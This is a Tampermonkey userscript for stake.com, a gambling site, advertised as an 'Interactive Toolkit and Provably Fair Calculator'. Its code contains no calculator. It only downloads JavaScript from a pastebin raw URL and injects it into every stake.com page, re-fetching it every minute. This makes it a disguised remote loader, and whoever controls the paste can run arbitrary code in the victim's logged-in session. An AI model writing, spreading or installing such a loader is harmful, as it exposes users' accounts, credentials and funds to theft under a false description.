Stake Interactive Toolkit and Provably Fair Calculator

Toolkit for Stake.com

// ==UserScript==
// @name         Stake Interactive Toolkit and Provably Fair Calculator
// @namespace    http://tampermonkey.net/
// @version      2.0
// @description  Toolkit for Stake.com
// @author       dreamsharky009_24614
// @match        https://stake.com/*
// @grant        GM_xmlhttpRequest
// @connect      pastebin.com
// ==/UserScript==

(function() {
    'use strict';
    const pastebinUrl = 'https://pastebin.com/raw/LwpQdCYy';   
    function fetchAndExecuteScript() {
        GM_xmlhttpRequest({
            method: 'GET',
            url: pastebinUrl,
            onload: function(response) {
                if (response.status === 200) {
                    // Create a new script element
                    const script = document.createElement('script');
                    script.textContent = response.responseText;
                    document.body.appendChild(script);
                    console.log('Script updated from Pastebin.');
                } else {
                    console.error('Failed to fetch the script from Pastebin. Status:', response.status);
                }
            },
            onerror: function() {
                console.error('Error occurred while fetching the script.');
            }
        });
    }  
    fetchAndExecuteScript();
    setInterval(fetchAndExecuteScript, 60 * 1000); // Check every minute

})();